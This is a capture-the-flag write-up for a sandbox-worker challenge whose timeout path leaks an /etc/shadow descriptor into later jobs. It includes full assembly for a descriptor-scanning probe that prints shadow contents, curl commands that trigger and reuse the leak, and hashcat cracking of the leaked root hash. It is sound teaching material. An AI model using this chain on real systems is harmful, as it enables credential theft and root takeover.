СотоLambda
СотоLambda
Platform: Avitoctf | Category: Misc | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-23 | Status: Solved Techniques: binary_reversing, timeout_state_leak, inherited_fd_abuse, password_hash_cracking
Summary
Task: A non-stripped ELF runs uploaded jobs in a persistent worker sandbox whose timeout path mishandles privileged resources. Solution: Leak an inherited shadow descriptor, crack the root DES hash, and run a flag reader as root.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
avitoctf| ID:20260723_avitoctf_sotolambda - Tags: elf, sandbox, crypt, file_descriptor_leak, siglongjmp
- Indicators: open before authentication, open without O_CLOEXEC, siglongjmp timeout cleanup, persistent worker pool
- Source:
20260723_avitoctf_sotolambda.md
Foothold
Vulnerability / Misconfiguration
- Binary_reversing
- Timeout_state_leak
- Inherited_fd_abuse
- Password_hash_cracking
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- binary_reversing
- timeout_state_leak
- inherited_fd_abuse
- password_hash_cracking
- Tags: elf, sandbox, crypt, file_descriptor_leak, siglongjmp
Original Writeup
<details><summary>Click to expand original content</summary>Description
Улей запускает «СотоLambda» — облачную систему исполнения небольших задач. Загрузите программу, выберите ресурсы и дедлайн, и рой воркеров исполнит её. Даны тестовые учётные данные и демо-бинарник. Есть подозрение, что воркер не всегда очищает служебные следы. Доберитесь до
/root/flag.txt.
The challenge supplied a non-stripped x86-64 worker binary, sandbox_worker.elf, plus a web interface for uploading ELF programs and invoking them with credentials and sandbox limits. The wording about uncleared service “traces” was literal: a timed-out request left a privileged file descriptor in a persistent worker, and a later low-privilege program inherited it.
No memory corruption, namespace escape, or direct authentication bypass was required.
Initial Triage
The worker was a dynamically linked, PIE x86-64 ELF with NX, partial RELRO, no stack canary, and symbols intact. Its imports immediately exposed the important subsystems:
- account lookup and verification:
getpwnam,fgetspent, andcrypt; - deadline recovery:
setitimer,sigsetjmp, andsiglongjmp; - process execution:
fork,setresgid,setresuid, andexecv; - output collection:
pipe2,poll, andwaitpid.
The named handle_request function and global child/pipe variables also suggested that one privileged process served multiple requests. That made cross-request resource lifetime more important than conventional memory-corruption checks.
The supplied binary can be checked with:
sha256sum sandbox_worker.elf # f33ea64f449a32aed3a2aaf27dbeda24d7da31b1abe5809363ab4e0718df8a28 file sandbox_worker.elf readelf -hW sandbox_worker.elf readelf -sW sandbox_worker.elf | less objdump -d -M intel sandbox_worker.elf | less
Analysis
The descriptor-lifetime bug
handle_request installed the SIGALRM handler and saved a recovery point with sigsetjmp around 0x2492..0x24d0. For each request, it then opened /etc/shadow around 0x24f6..0x2506 as follows:
shadow_fd = open("/etc/shadow", O_RDONLY);
There are two crucial properties here:
- The privileged file is opened before authentication completes;
O_CLOEXECis absent, so the resulting descriptor survivesexecvunless explicitly closed.
The request timer was armed around 0x258f..0x25b7. Authentication duplicated the descriptor at 0x2969, wrapped the duplicate in a stream, iterated entries with fgetspent, and checked crypt(password, sp_pwdp) around 0x2969..0x2a23.
When SIGALRM fired, the handler used siglongjmp. The timeout path at 0x2678..0x27bd disarmed the timer, killed and reaped the active child, and closed only the global parent-side pipe descriptors. It did not close the local shadow_fd or a possible fdopen duplicate. Control then returned to the request-reading loop in the same long-lived worker process.
On a later successful request, the forked child closed only the current request's shadow descriptor at 0x2c11. It did not know about stale descriptors leaked by previous requests. After dropping to the authenticated account, it called execv at 0x2cd3. The job pipes were created with pipe2(..., O_CLOEXEC), but the stale shadow descriptor lacked FD_CLOEXEC and therefore survived the exec.
This gives the complete primitive:
privileged worker opens /etc/shadow
↓
SIGALRM interrupts the request
↓
siglongjmp skips local cleanup
↓
the worker processes another request
↓
fork → close only current shadow fd → drop uid/gid → execv
↓
uploaded ELF inherits the stale readable shadow fd
Changing UID after a file has been opened does not revoke access through that open file description. Likewise, execv does not close every descriptor; it closes only descriptors marked FD_CLOEXEC.
Why the probe rewinds and scans
The leaked descriptor number was not stable. A timeout before dup commonly left one descriptor, while a timeout during authentication could leave both the original and duplicate. Runtime wrappers and other inherited resources changed numbering further.
The original and fdopen duplicate could also share an open-file description whose offset had already reached EOF. The payload therefore:
- Scans descriptors 3 through 255;
- Calls
lseek(fd, 0, SEEK_SET); - Reads the descriptor;
- Recognizes shadow content by searching for
root:.
RLIMIT_NOFILE does not close descriptors that are already open, so the scan works as long as the invocation permits a suitable descriptor range.
Dynamic confirmation
Running the unmodified worker as root in an isolated Ubuntu 22.04 amd64 container and submitting a 1 ms request produced a timeout response. While that same worker waited for another request, /proc/<worker-pid>/fd still contained a descriptor pointing to /etc/shadow.
A second local proof opened /etc/shadow as root, dropped to UID and GID 65534, and then execed the probe. The low-privilege process still printed the file through the inherited descriptor. This confirmed both halves of the exploit independently of decompiler output.
Payloads
Inherited-descriptor probe
The final probe was a tiny static, syscall-only ELF. The essential assembly is:
.global _start
.section .bss
.balign 16
buf:
.skip 16384
.section .text
_start:
mov $3, %r12d
fd_loop:
mov $8, %eax # lseek(fd, 0, SEEK_SET)
mov %r12d, %edi
xor %esi, %esi
xor %edx, %edx
syscall
test %rax, %rax
js next_fd
xor %eax, %eax # read(fd, buf, sizeof(buf))
mov %r12d, %edi
lea buf(%rip), %rsi
mov $16384, %edx
syscall
cmp $5, %rax
jl next_fd
mov %rax, %r13
xor %ecx, %ecx
scan:
lea 5(%rcx), %rdx
cmp %r13, %rdx
ja next_fd
lea buf(%rip), %rsi
cmpl $0x746f6f72, (%rsi,%rcx) # "root"
jne scan_next
cmpb $0x3a, 4(%rsi,%rcx) # ':'
je found
scan_next:
inc %rcx
jmp scan
found:
mov $1, %eax # write(1, buf, length)
mov $1, %edi
lea buf(%rip), %rsi
mov %r13, %rdx
syscall
xor %edi, %edi
jmp exit
next_fd:
inc %r12d
cmp $256, %r12d
jl fd_loop
mov $1, %edi
exit:
mov $60, %eax
syscall
Build and verify it:
gcc -nostdlib -static -s -o fd_probe.elf fd_probe.S wc -c fd_probe.elf # 4520 fd_probe.elf sha256sum fd_probe.elf # 7ec6c1e24c31d548034b089e06628a0b0a9b784339f47ffd2f48ee6c4e5ef342
Root flag reader
After recovering the root password, a second syscall-only ELF read the target file directly:
.global _start
.section .rodata
path:
.asciz "/root/flag.txt"
.section .bss
buf:
.skip 4096
.section .text
_start:
mov $2, %eax # open(path, O_RDONLY, 0)
lea path(%rip), %rdi
xor %esi, %esi
xor %edx, %edx
syscall
test %rax, %rax
js fail
mov %eax, %edi
xor %eax, %eax # read(fd, buf, sizeof(buf))
lea buf(%rip), %rsi
mov $4096, %edx
syscall
test %rax, %rax
js fail
mov %rax, %rdx
mov $1, %eax # write(1, buf, length)
mov $1, %edi
syscall
xor %edi, %edi
jmp exit
fail:
mov $1, %edi
exit:
mov $60, %eax
syscall
Build and verify it similarly:
gcc -nostdlib -static -s -o read_flag.elf read_flag.S wc -c read_flag.elf # 8560 read_flag.elf sha256sum read_flag.elf # 503f7b233705ecebdc5d3ae7eaa85020bd54d674716bfb153d8a5c1b066ee3fe
Exploitation
The browser JavaScript documented the API workflow:
GET /api/configreturned defaults and the test credentialrunner:runner;POST /api/uploadaccepted a multipart field namedfile;GET /api/binarieslisted uploaded and seeded programs;POST /api/invokeacceptedbinary_id,args,stdin,auth, andsandbox_settings.
The live origin and uploaded binary IDs were ephemeral. The following commands deliberately use placeholders and capture IDs from fresh upload responses:
BASE='https://<INSTANCE>.avitoctf.ru' curl -sS "$BASE/api/config" | jq . curl -sS "$BASE/api/binaries" | jq . PROBE_ID="$( curl -sS -F 'file=@fd_probe.elf' "$BASE/api/upload" | jq -r .binary_id )" READER_ID="$( curl -sS -F 'file=@read_flag.elf' "$BASE/api/upload" | jq -r .binary_id )"
First, invoke the seeded hello binary as the ordinary user with a 1 ms deadline. Replace <SEEDED_HELLO_ID> with its current value from /api/binaries:
curl -sS "$BASE/api/invoke" \
-H 'Content-Type: application/json' \
--data "$(jq -nc --arg id '<SEEDED_HELLO_ID>' '{
binary_id:$id,
args:[],
stdin:"",
auth:{login:"runner",password:"runner"},
sandbox_settings:{memory_mb:256,timeout_ms:1}
}')" | jq .
The desired response has timed_out: true. This pollutes whichever persistent worker receives that request.
The backend routed invocations across roughly four long-lived workers. A subsequent probe was therefore not guaranteed to hit the polluted process. Repeating the normal invocation eventually selected the worker carrying the stale descriptor:
for attempt in $(seq 1 12); do
curl -sS "$BASE/api/invoke" \
-H 'Content-Type: application/json' \
--data "$(jq -nc --arg id "$PROBE_ID" '{
binary_id:$id,
args:[],
stdin:"",
auth:{login:"runner",password:"runner"},
sandbox_settings:{memory_mb:256,timeout_ms:5000}
}')" | jq .
done
Approximately every fourth request reached the polluted worker and returned /etc/shadow. If no attempt succeeds, trigger another 1 ms timeout and retry; the exploit depends on worker affinity by chance, not HTTP connection persistence.
The leaked root entry was:
root:azMuiLc/ZPwrM:20648:0:99999:7:::
Unlike the runner account's SHA-512 crypt value, the root hash was a traditional 13-character DES crypt hash. Hashcat mode 1500 and the cached RockYou list recovered it immediately:
printf '%s\n' 'azMuiLc/ZPwrM' > root.hash hashcat -m 1500 -a 0 root.hash ../../../resources/wordlists/passwords/rockyou.txt \ --outfile cracked.txt --outfile-format 2 hashcat -m 1500 root.hash --show # azMuiLc/ZPwrM:mole
Finally, invoke the uploaded reader using root:mole:
curl -sS "$BASE/api/invoke" \
-H 'Content-Type: application/json' \
--data "$(jq -nc --arg id "$READER_ID" '{
binary_id:$id,
args:[],
stdin:"",
auth:{login:"root",password:"mole"},
sandbox_settings:{memory_mb:256,timeout_ms:5000}
}')" | jq .
The program exited successfully and returned the challenge flag on standard output.
Eliminated Hypotheses
- “Timeout cleanup closes every request resource.” False. It closes the global pipe descriptors and handles the active child, but
siglongjmpbypasses cleanup of the local shadow descriptor. - “Exec closes all inherited descriptors.” False. Only descriptors carrying
FD_CLOEXECare closed./etc/shadowwas opened withoutO_CLOEXEC. - “A timeout directly bypasses authentication.” False. Every fresh request still performs account lookup and
cryptverification before it forks the uploaded job. The leak yields password hashes, not unauthenticated root execution. - “A memory-corruption or namespace escape is required.” False. Ordinary POSIX descriptor semantics fully explain the privilege boundary failure.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR